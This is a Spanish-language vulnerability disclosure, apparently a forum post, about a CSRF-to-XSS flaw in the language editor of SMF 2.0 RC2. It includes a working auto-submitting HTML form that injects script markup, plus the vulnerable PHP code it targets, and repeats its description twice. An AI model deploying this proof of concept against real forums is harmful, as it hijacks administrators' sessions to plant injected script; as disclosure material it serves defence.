Detalles
Descripción
En este ataque se utiliza Cross-Site Request Forgery para realizar un
ataque Cross-Site Scripting.
Proof-of-Concept:
Otra cosa a resaltar es el echo de poder cambiar el tipo de character set.
Cosa que nos daría la libertad de elegir un encoding vulnerable como UTF-7.
El problema se ubica aquí:
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/ManageServer.php#1195
Lo único que salva al foro de no sufrir la ejecución de PHP es la función
addslashes(), porque todos estos datos son escritos a un archivo.
Descripción: | CSRF+XSS en el administrador de lenguajes |
Descubierto por: | cicatriz.r00t@gmail.com |
Código vulnerable: | N/A |
URL Vulnerable: | /index.php?action=admin;area=languages;sa=editlang;lid=english; |
PoC: | N/A |
Afecta a: | SMF 2.0 RC2 |
Descripción
En este ataque se utiliza Cross-Site Request Forgery para realizar un
ataque Cross-Site Scripting.
Proof-of-Concept:
Código (html4strict) [Seleccionar]
<body onload="document.forms[0].elements[5].click()">
<form
action="/index.php?action=admin;area=languages;sa=editlang;lid=english;"
method="post" accept-charset="UTF-8">
<input name="character_set" size="20" value="ISO-8859-1" type="text">
<input name="locale" size="20" value="en_US" type="text">
<input name="dictionary" size="20" value="en" type="text">
<input name="spelling" size="20"
value="american"><h1>XSS</h1>"
type="text">
<input name="rtl" class="check" type="checkbox">
<input type="submit" value="Save" name="save_main"/>
</form>
</body>
Otra cosa a resaltar es el echo de poder cambiar el tipo de character set.
Cosa que nos daría la libertad de elegir un encoding vulnerable como UTF-7.
El problema se ubica aquí:
Código (bash) [Seleccionar]
+++/var/www/POC/smf_2-0-rc1-2_install/Sources/ManageServer.php @@ 1195:1201
1195 $replace_array = array(
1196 '~\$txt\[\'lang_character_set\'\]\s=\s(\'|")[^\'"]+(\'|");~' =>
'$txt[\'lang_character_set\'] = \'' . addslashes($_POST['character_set']) .
'\';',
1197 '~\$txt\[\'lang_locale\'\]\s=\s(\'|")[^\'"]+(\'|");~' =>
'$txt[\'lang_locale\'] = \'' . addslashes($_POST['locale']) . '\';',
1198 '~\$txt\[\'lang_dictionary\'\]\s=\s(\'|")[^\'"]+(\'|");~' =>
'$txt[\'lang_dictionary\'] = \'' . addslashes($_POST['dictionary']) . '\';',
1199 '~\$txt\[\'lang_spelling\'\]\s=\s(\'|")[^\'"]+(\'|");~' =>
'$txt[\'lang_spelling\'] = \'' . addslashes($_POST['spelling']) . '\';',
1200 '~\$txt\[\'lang_rtl\'\]\s=\s[A-Za-z0-9]+;~' =>
'$txt[\'lang_rtl\'] = ' . (!empty($_POST['rtl']) ? 'true' : 'false') . ';',
1201 );
---/var/www/POC/smf_2-0-rc1-2_install/Sources/ManageServer.php
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/ManageServer.php#1195
Lo único que salva al foro de no sufrir la ejecución de PHP es la función
addslashes(), porque todos estos datos son escritos a un archivo.